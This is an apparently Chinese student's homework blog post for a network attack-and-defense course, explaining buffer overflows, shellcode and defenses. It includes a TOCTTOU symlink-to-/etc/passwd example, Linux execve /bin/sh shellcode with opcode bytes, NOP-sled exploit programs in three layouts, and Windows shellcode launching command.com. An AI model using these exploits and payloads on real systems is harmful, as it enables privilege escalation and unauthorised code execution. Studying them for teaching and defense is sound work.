J4tnC4.jpg

Charles Xie

Not because they are easy, but because they are hard.

20199101 2019-2020-2 《网络攻防实践》第十周作业

软件安全攻防-缓冲区溢出和shellcode


0. 总体结构


本次作业属于哪个课程 网络攻防实践
这个作业要求在哪里 软件安全攻防-缓冲区溢出和shellcode
我在这个课程的目标是 学习网络攻防相关技术和原理
这个作业在哪个具体方面帮助我实现目标 学习软件安全攻防的相关知识,学会写shellcode

1. 实践内容


第十章的主要内容是关于缓冲区溢出和Shellcode的相关内容,从软件安全漏洞开始讲起,引出缓冲区溢出和Shellcode的相关概念,并从Linux和Windows两个系统进行讲解,最后也给出了软件安全的相关防御措施。所以原理内容本文主要分为以下几个部分。

  • 软件安全漏洞威胁
  • 缓冲区溢出基本概念
  • Linux栈溢出与Shellcode
  • Windows栈溢出与Shellcode
  • 堆溢出攻击
  • 缓冲区溢出攻击的防御技术

1.1 软件安全漏洞威胁


  • 软件安全漏洞定义:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。包括三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性、攻击者对缺陷的可利用性。

  • 软件安全困境

    • 复杂性:代码的复杂性,集成度。
    • 可扩展性:现代大部分软件经常要支持可扩展性,设计可扩展机制,都必须要考虑安全特性。
    • 连通性:互联网遍布全世界各地,高度连通性意味着网络安全威胁的全球化,与真实世界的连通意味着网络安全威胁的现实影响越来越大。
  • 软件安全漏洞分类

    • 内存安全违规类:在软件开发过程中在处理RAM内存访问时所引入的安全缺陷,缓冲区溢出漏洞是一种最基础的内存安全问题。

    • 输入验证类:软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。如XSS、SQL注入、远程文件包含、HTTP Header注入等。

    • 竞争条件类:系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。

      • 这里的TOCTTOU攻击可能比较难以理解,我给出一个实例代码,简单的介绍下,更加具体的内容大家可以参考关于TOCTTOU攻击简介进行了解。一种常见的原因是代码先检查某个前置条件(例如认证),然后基于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件却可能被改变
      if (access("filePathName", W_OK)) {   
         exit(EXIT_FAILURE);
      } 
      fd = open("filePathName", O_WRONLY); 
      write(fd, buffer, sizeof(buffer));
      
      • 这个程序比较简单就不说了,还是说为什么这个程序有TOCTTOU bug存在。access()这个检查和open()这个实际访问操作中可能会有其他恶意程序对文件系统进行更改,从而导致恶意访问发生。譬如,在access()open()之间插入下面的代码。攻击者在 accessopen 之间的时间片中将 setuid 程序的写入点改变为了 /etc/passwd,而open的检查可以顺利通过( euid 为0),从而向敏感文件写入数据,最终达到提权目的。这也是为什么VS更加建议我们用open_s()的原因了。
      unlink("filePathName");
      symlink("/etc/passwd", "filePathName");
      
    • 权限混淆与提升类:计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。如跨站请求伪造、FTP反弹攻击、权限提升、“越狱"等。


1.2 缓冲区溢出基本概念


  • 定义:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。

  • 本质原因

    • 缺乏缓冲区边界保护(C/C++语言程序:效率优先、memcpy()strcpy()等内存与字符串拷贝 函数并不检查内存越界问题、程序员缺乏安全编程意识、经验与技巧)。
    • 冯·诺依曼体系存在本质安全缺陷,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。
  • 说明:下面主要对背景知识做一些介绍,包括汇编、编译器、函数调用等知识。这个是需要大家长期积累的,本文省略一部分比较简单的内容,对复杂的内容也只能稍微讲解,多而杂,还是需要多多学习。

  • GDB调试器

    • 详细学习内容请参考GDB调试器使用总结
    • 断点相关指令(break/clear, disable/enable/deletewatch-表达式值改变时,程序中断)。
    • 执行相关指令(run/continue/next/stepattach-调试已运行的进程,finish/return)。
    • 信息查看相关指令(info reg/break/files/args/frame/functions/...backtrace-函数调用栈,x/nfu addr–显示指定内存地址的内容,disass func-反汇编指定函数)。
  • 汇编语言基础

    • 首先这个真的是一门深奥的课程,如果只是浅尝辄止,那么看看阮一峰老师的汇编语言入门教程,如果不是,当然是找本书啃。

    • 寄存器

      寄存器名 说明 功能
      eax 累加器 加法乘法指令的缺省寄存器, 函数返回值
      ecx 计数器 REP & LOOP指令的内定计数器
      edx 除法寄存器 存放整数除法产生的余数
      ebx 基址寄存器 在内存寻址时存放基地址
      esp 栈顶指针寄存器 当前堆栈的栈顶指针
      ebp 栈底指针寄存器 当前堆栈的栈底指针
      esi、dei 源、目标索引寄存器 在字符串操作指令中,ESI指向源串,EDI指向目标串
      eip 指令寄存器 指向下一条指令的地址
    • 指令在上次实践中也讲到并且详细说了,这里就不赘述了。

  • 进程内存管理

    • 内存空间的分配与回收。
    • 地址转换:在多道程序环境下,程序中的逻辑地址与内存中的物理地址不可能一致,因此存储管理必须提供地址变换功能,把逻辑地址转换成相应的物理地址。
    • 内存空间的扩充:利用虚拟存储技术或自动覆盖技术,从逻辑上扩充内存。
    • 存储保护:保证各道作业在各自的存储空间内运行,互不干扰。
  • 函数调用

    • 调用(call):调用参数和返回地址(eip)压栈,跳转到函数入口。
    • 序言(prologue):调用函数的栈基址进行压栈保存,并创建自身函数的栈结构。
    • 返回(return):恢复调用者原有栈,弹出返回地址,继续执行下一条指令。
    call1
  • 缓冲区溢出攻击原理

    • 根本问题:用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界安全保护
    • 成功溢出攻击的三个挑战:如何找出缓冲区溢出要覆盖和修改的敏感位置? 将敏感位置的值修改成什么?执行什么代码指令来达到攻击目的?
    • 类型:栈溢出、堆溢出、内核溢出。
    • 缓冲区溢出的主要点在于数据的淹没,即超过缓冲区区域的高地址部分数据会淹没原本的其他栈数据。
    • 淹没了其他的局部变量:如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。
    • 淹没了ebp的值:修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。
    • 淹没了返回地址:这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程。
    • 淹没参数变量:修改函数的参数变量也可能改变当前函数的执行结果和流程。
    • 淹没上级函数的栈帧:情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改。

1.3 Linux栈溢出与Shellcode


  • 为了更好的讲解三个模式,我还是先说一下shellcode和其他内容吧,后面分析三种模式实例会方便很多。

  • Linux本地缓冲区溢出的特权提升

    • 运行时刻可以提升至根用户权限进行一些操作。
    • 攻击者就可以在注入shellcode中增加一个setreuid(0)的系统调用。
    • 给出根用户权限的Shell。
  • Linux远程缓冲区溢出:远程缓冲区溢出与本地缓冲区溢出比较:原理一致。用户输入传递途径区别:远程缓冲区溢出采用网络而本地缓冲区溢出命令行/文件的方式。Shellcode编写区别:远程缓冲区溢出采用远程shell访问而本地缓冲区溢出是本地特权提升

  • Linux远程shellcode实现机制:这里其实就是创建socket连接,并将shellcode通过socket注入,同时需要将命令行与socket绑定。

  • Shellcode通用的编写方法

    1. 先用高级编程语言,通常用C,来编写shellcode程序。
    2. 编译并反汇编调试这个shellcode程序。
    3. 从汇编语言代码级别分析程序执行流程。
    4. 整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试。
    5. 提取汇编代码所对应的opcode二进制指令(操作码,每个设备处理单元上的执行的指令),创建shellcode指令数组。
  • Linux上的Shellcode实例

    • 首先给出shellcode的C语言版本,这段代码的主要内容就是通过execve调用/bin/sh(shell)。所以这个代码就是一般我们想插入程序中的代码。

      #include <stdio.h>
      int main ()
      {
          char * name[2];
          name[0] = "/bin/sh";
          name[1] = NULL;
          execve( name[0], name, NULL );
          return 0;
      }
      
    • 接下来,我们将这段代码进行编译并查看其汇编代码,并且,我们需要对代码中含有的空字节进行消除,从而避免在渗透攻击的时候,由于空字节(\n)的问题导致字符串操作函数截断,从而导致攻击失效。我们编译之后的机器码第一句为mov $0x0,%edx,其中含有空字节0x00,所以我们采用的是xor %edx,%edx来消除空字节。

      int main()
      {
        	__asm__
          ("
           xor    %edx,%edx
      		 push   %edx
      		 push   $0x68732f6e
      	   push   $0x69622f2f
      	   mov    %esp,%ebx
      	   push   %edx
      	   push   %ebx
      	   mov    %esp,%ecx
      	   mov    $0xb,%eax
      	   int    $0x80
           ")
      }
      
    • 最后,我们将其转化为Opcode版本(查找Intel opcode操作手册),并将opcode保存在攻击数据缓冲区,就是我们的shellcode了,在后面讲解三种模式的时候将着重介绍。

      31 d2   // xor %edx,%edx
      52      // push %edx
      68 6e 2f 73 68   // push $0x68732f6e
      68 2f 2f 62 69   // push $0x69622f2f
      89 e3   // mov %esp,%ebx
      52      // push %edx
      53      // push %ebx
      89 e1   // mov %esp,%ecx
      8d 42 0b         // lea 0xb(%edx),%eax
      cd 80   //  int $0x80
      
  • 三个模式

    • NSR模式:最经典的方法,漏洞程序有足够大的缓冲区。
    • RNS模式:能够适合小缓冲区情况,更容易计算返回地址。
    • R.S模式:精确计算shellcode地址, 不需要任何NOP,但对远程缓冲区溢出攻击不适用。
  • NSR模式

    • 适用范围:被溢出的缓冲区变量比较大,足以容纳Shellcode。填充方式是从低地址到高地址的构造一堆Nop指令之后填充shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。

      nsr1

    • 实例分析

      • 下面的代码是具有栈溢出漏洞的程序,我们将采用NSR模式进行攻击分析。这段程序的漏洞就非常明显了,在进行strcpy字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出。

        #include <stdio.h> 
        int main(int argc,char **argv){ 
           char buf[500]; 
           strcpy(buf,argv[1]); 
           printf("buf's 0x%8x\n",&buf); 
           getchar();
           return 0; 
        } 
        
      • 下面给出攻击代码,主要都是老师给的程序和书上的例子,这里主要还是进行分析。有时间的话,后面的实践就写一个如何写shellcode的部分吧。攻击程序的核心在于调用时传入的buffer变量,原程序定义的buffer长度为500,可是在攻击程序里面长度是1056,在这里首先填充了nopNum长度的0x90(就是我们通常说的着陆区),接下来就是memcpy上shellcode,最后就是四个字节的返回地址了。这里可能很多人看到一开始的赋值返回地址不太理解,其实前面的部分都被着陆区和shellcode覆盖了,后面才是返回地址。

        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
        char shellcode[] =
        "\x31\xc0"              /* xor %eax, %eax       */
        "\x50"                  /* push %eax            */
        "\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
        "\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
        "\x89\xe3"              /* mov  %esp,%ebx       */
        "\x50"                  /* push %eax            */
        "\x53"                  /* push %ebx            */
        "\x89\xe1"              /* mov  %esp,%ecx       */
        "\x31\xd2"              /* xor  %edx,%edx       */
        "\xb0\x0b"              /* mov  $0xb,%al        */
        "\xcd\x80";             /* int  $0x80           */
        
        #define BSIZE 1056
        #define RET 0xbfffdaf0
        
        int main(int argc,char **argv)
        {
        	int bsize=BSIZE;
        	unsigned long retaddr=RET;
        	int nopNum = bsize-strlen(shellcode)-100;
        	if(argc>1) bsize=atoi(argv[1]);
        	if(argc>2) retaddr=atoi(argv[2]);
        	if(argc>3) nopNum=atoi(argv[3]);
        	char* buffer=(char *)malloc(sizeof(char)*bsize);
        	int i;
        	for(i=0;i<bsize;i+=4)
        		*(long *)&buffer[i]=retaddr;
        	for(i=0;i<nopNum;i++)
        		*(long*)&buffer[i]=0x90;
        	memcpy(buffer+i,shellcode,strlen(shellcode));
        	execl("chat","chat",buffer,NULL);
        	return 0;
        }
        
  • RNS模式

    • 适用范围:被溢出的变量比较小,不足于容纳Shellcode的情况。填充方式是从低地址到高地址首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。解释一下着陆区,或者叫做滑行区,这是非常形象的,Nop指令一是为了填充,二是为了让程序返回地址只要落在任何一个Nop上,自然会滑到我们的shellcode。

      rns1

    • 实例分析

      • 下面的代码同样是具有缓冲区溢出漏洞的代码,与上面NSR模式唯一不同点在于缓冲区的长度很小。

        #include <stdio.h> 
        int main(int argc,char **argv){ 
           char buf[10]; 
           strcpy(buf,argv[1]); 
           printf("buf's 0x%8x\n",&buf); 
           getchar();
           return 0; 
        } 
        
      • 下面同样给出攻击代码并分析。我们可以发现这里给buffer的空间全部填充了Nop,接着就是返回地址了,这里返回的地址是我们shellcode的地址,所以最后经过着陆区之后通过跳转到我们的shellcode执行地址来进行shellcode代码的执行。

        #include<stdio.h> 
        #include<stdlib.h> 
        #include<string.h> 
        char *shellcode;
        int main(int argc,char **argv){ 
           char buf[500]; 
           unsigned long ret,p; 
           int i; 
           p=&buf; 
           ret=p+70; 
           memset(buf,0x90,sizeof(buf)); 
           for(i=0;i<44;i+=4) 
              *(long *)&buf[i]=ret; 
           memcpy(buf+400+i,shellcode,strlen(shellcode)); 
           execl("chat","chat",buf,NULL); 
           return 0; 
        } 
        
  • R.S模式**

    • 适用范围:精确地定位出shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建着陆区。将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:\(ret=0xc0000000-sizeof(void *)-sizeof(filename)-sizeof(shellcode)\)

      rs1

    • 实例分析

      • 给出攻击代码如下,漏洞代码同RNS模式相同。这个程序首先就是计算返回地址,然后用'A'(0x41)进行填充,这里只是为了让他溢出,然后引入shellcode的返回地址,让漏洞程序跳转到shellcode进行执行。
      #include<stdio.h> 
      #include<stdlib.h> 
      #include<string.h> 
      char *shellcode; 
      
      int main(int argc,char **argv){ 
         char buf[32]; 
         char *p[]={"chat",buf,NULL}; 
         char *env[]={"HOME=/root",shellcode,NULL}; 
         unsigned long ret; 
         ret=0xc0000000-strlen(shellcode)-strlen("chat")-sizeof(void *); 
         memset(buf,0x41,sizeof(buf)); 
         memcpy(&buf[28],&ret,4); 
         printf("ret is at 0x%8x\n",ret); 
         execve("chat", "chat", buf, env); 
         return 0; 
      } 
      

1.4 Windows栈溢出与Shellcode


  • Windows平台栈溢出与Linux平台的区别和原理

    • 对废弃栈的处理导致NSR模式不适用于Win32,Linux对废弃栈不进行任何处理,而Windows会写入一些随机的数据
    • 进程内存空间的分布导致RNS模式不适用于Win32,Linux栈在3G(0xC0000000)附近,R地址中没有空字节,Windows栈在0x00FFFFFF以下的用户空间,R地址中有空字节。
    • shellcode实现机制不同,Linux通过中断进行系统调用,而Windows通过调用系统DLL提供的接口函数。
  • 解决方案

    • 通过Jmp/Call ESP指令跳转,跳转指令一般在进程内存空间中1G至2G区间中装载的系统核心 DLL(如Kernel32.dll、User32.dll等)、Windows代码页中的地址、应用程序加载的用户DLL、OllyUni插件提供Overflow Return Address功能。

    jmp1

  • Windows平台的Shellcode实现

    • 所需的Win32 API函数,生成函数调用表。
    • 加载所需API函数库,定位函数加载地址。
    • 消除空字节,编码对抗过滤。
    • 确保自己可以正常退出,使目标程序进程继续运行或终止。
    • 在目标系统环境存在异常处理和安全防护机制时,shellcode还需进一步考虑如何对抗这些机制。
  • Shellcode实例

    • 下面是一个C语言版本的shellcode程序。首先使用LoadLibrary()加载msvcrt.dll动态链接库,并且通过GetProcAddress()函数获取system()函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system函数,启动命令行shell

      #include <windows.h>
      #include <winbase.h>
      typedef void (*MYPROC)(LPTSTR);
      typedef void (*MYPROC2)(int);
      void main()
      {
              HINSTANCE LibHandle;
              MYPROC ProcAdd;
              MYPROC2 ProcAdd2;
              char dllbuf[11]  = "msvcrt.dll";
              char sysbuf[7] = "system";
              char cmdbuf[16] = "command.com";
              char sysbuf2[5] = "exit";
              LibHandle = LoadLibrary(dllbuf);
              ProcAdd = (MYPROC)GetProcAddress(
      			LibHandle, sysbuf);
              (ProcAdd) (cmdbuf);
      
              ProcAdd2 = (MYPROC2) GetProcAddress(
      			LibHandle, sysbuf2);
      		(ProcAdd2)(0);
      }
      
    • 编译得到汇编代码如下,主要的解释都放在注释里面了。

      #include <windows.h>
      #include <winbase.h>
      void main()
      {
      	LoadLibrary("msvcrt.dll");
      	__asm{
      		mov esp,ebp    //把esp的内容赋值为ebp
      		push ebp       //保存ebp,esp-4
      		mov ebp,esp    //给ebp赋新值,作为局部变量的基指针
          xor edi,edi    //
          push edi       //压入0,esp-4
          sub esp,08h    //一共12个字符,用来放command.com
          mov byte ptr [ebp-0ch],63h  
          mov byte ptr [ebp-0bh],6fh  
          mov byte ptr [ebp-0ah],6dh  
          mov byte ptr [ebp-09h],6Dh  
          mov byte ptr [ebp-08h],61h  
          mov byte ptr [ebp-07h],6eh  
          mov byte ptr [ebp-06h],64h  
          mov byte ptr [ebp-05h],2Eh  
          mov byte ptr [ebp-04h],63h  
          mov byte ptr [ebp-03h],6fh  
          mov byte ptr [ebp-02h],6dh  //生成command.com
          lea eax,[ebp-0ch]
          push eax                    //串地址作为参数入栈
          mov eax, 0x77bf8044         //API入口地址,根据调试获取
          call eax                    //调用system
      		
      	}
      
      }
      
  • Windows远程Shellcode

    • 创建一个服务器端socket,并在指定的端口上监听。
    • 通过accept()接受客户端的网络连接。
    • 创建子进程,运行cmd.exe,启动命令行。
    • 创建两个管道,并且将shell连接至socket。
      • 命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入。
      • 输出管道将cmd.exe的标准输出连接至服务器端socket的send,通过网络将运行结果反馈给客户端。

1.5 堆溢出攻击(heap overflow)


  • 定义:在内存中的一些数据区,.text包含进程的代码,.data包含已经初始化的数据,.bss 包含未经初始化的数据,heap运行时刻动态分配的数据区,在这些数据区溢出的情形,都称为heap overflow,这些数据区的特点是: 数据的增长由低地址向高地址。下面讲解几种引起堆溢出攻击的方式。

  • 指针改写:先定义一个buffer,再定义一个指针,当对buffer填充数据的时候,如果不进行边界判断和控制的话,自然就会溢出到指针的内存 区,从而改变指针的值。

    bbs1

  • C++对象虚函数表改写:编译器为每一个包含虚函数的class建立起vtable,vtable中存放的是虚函数的地址,编译器也在每个class对象的内存区放入一个指向vtable 的指针(称为vptr),vptr的位置随编译器的不同而不 同,VC放在对象的起始处,gcc放在对象的末尾,设法改写vptr,让它指向另一段代码。

    vptr1

  • Linux堆内存管理漏洞: glibc库free()函数本身存在漏洞,攻击者可以通过精心构造unlinkme内存块进行free()函数堆溢出攻击。

    • unlink宏被调用时,在what位置的值将覆盖到where位置上。
    • Where: 栈返回地址、GOT全局偏移入口地址、 DTORS析构函数地址。
    • What: shellcode地址。

    free1


1.6 缓冲区溢出攻击的防御技术


  • 注重软件产品安全性,建立安全意识。
  • 提高软件开发人员安全意识、主动安全性的一些措施。
  • 把安全问题写进企业的规章制度。
  • 效果、效果、效果:量化安防风险,衡量安全性改进过程。
  • 责任:安全责任模型,产品开发团队承担起大部分责任。
  • 建立一整套开发流程,必须包括安全监督员、代码审查、产品安全性测试等。
  • 技术
    • 尝试杜绝溢出的防御技术,编写正确代码、查错: Fuzz注入测试、编译器引入缓冲区边界保护检查。
    • 允许溢出但不让程序改变执行流程的防御技术
      • StackGuard: 返回地址前添加检测标记,返回前检查。
      • VS栈保护编译选项。
      • gcc: -fstack-protector。

2. 实践过程


本周没有实践内容!

本周没有实践内容!

本周没有实践内容!


3. 学习中遇到的问题及解决


  • 问题一:对机器码和汇编代码还是不熟悉。
  • 问题一解决方案:找了一些二者的资料,慢慢学习。
  • 问题二:写shellcode好像是挺麻烦的,尤其是一开始的调试过程。
  • 问题二解决方案:对gdb调试工具的不熟悉造成的,万事开头难,0-1很难,1-10很简单。

4. 学习感悟、思考

  • 通过这次实践真的越来越感觉到网络攻防是一门非常非常综合的课,你需要了解和学习的内容非常多,同样的,对每一方面特别精通的人,做网络攻防也一定有成就。
  • NOTICE:首先我必须向那些我给他们推荐sm.ms图床的人说声抱歉,因为我上周在老师的提醒下,发现我图床里的图片丢了,同样带来的问题还有访问速度很慢的情况。所以我很快将所有图片都转移到了博客园,花费了我很长的时间。博客园确实加载速度没得说,并且没有限制,但是我硬生生转移了五个小时,足见其效率低下。最后我并没有找到一个免费的好用的图床(或者说目前还没有),其实博客园是个不错的选择,但是我实在对效率低下的东西没有好感。所以,我的解决方案是Gitee+PicGo+Typora,原来的方案是sm.ms+PicGo+Typora。最后的最后,这不是推荐,这只是我的解决方案,图片还是最好本地留一份吧,也幸亏我备份了。

参考资料

posted @ 2020-05-05 16:02  20199101解建国  阅读(338)  评论(1编辑  收藏  举报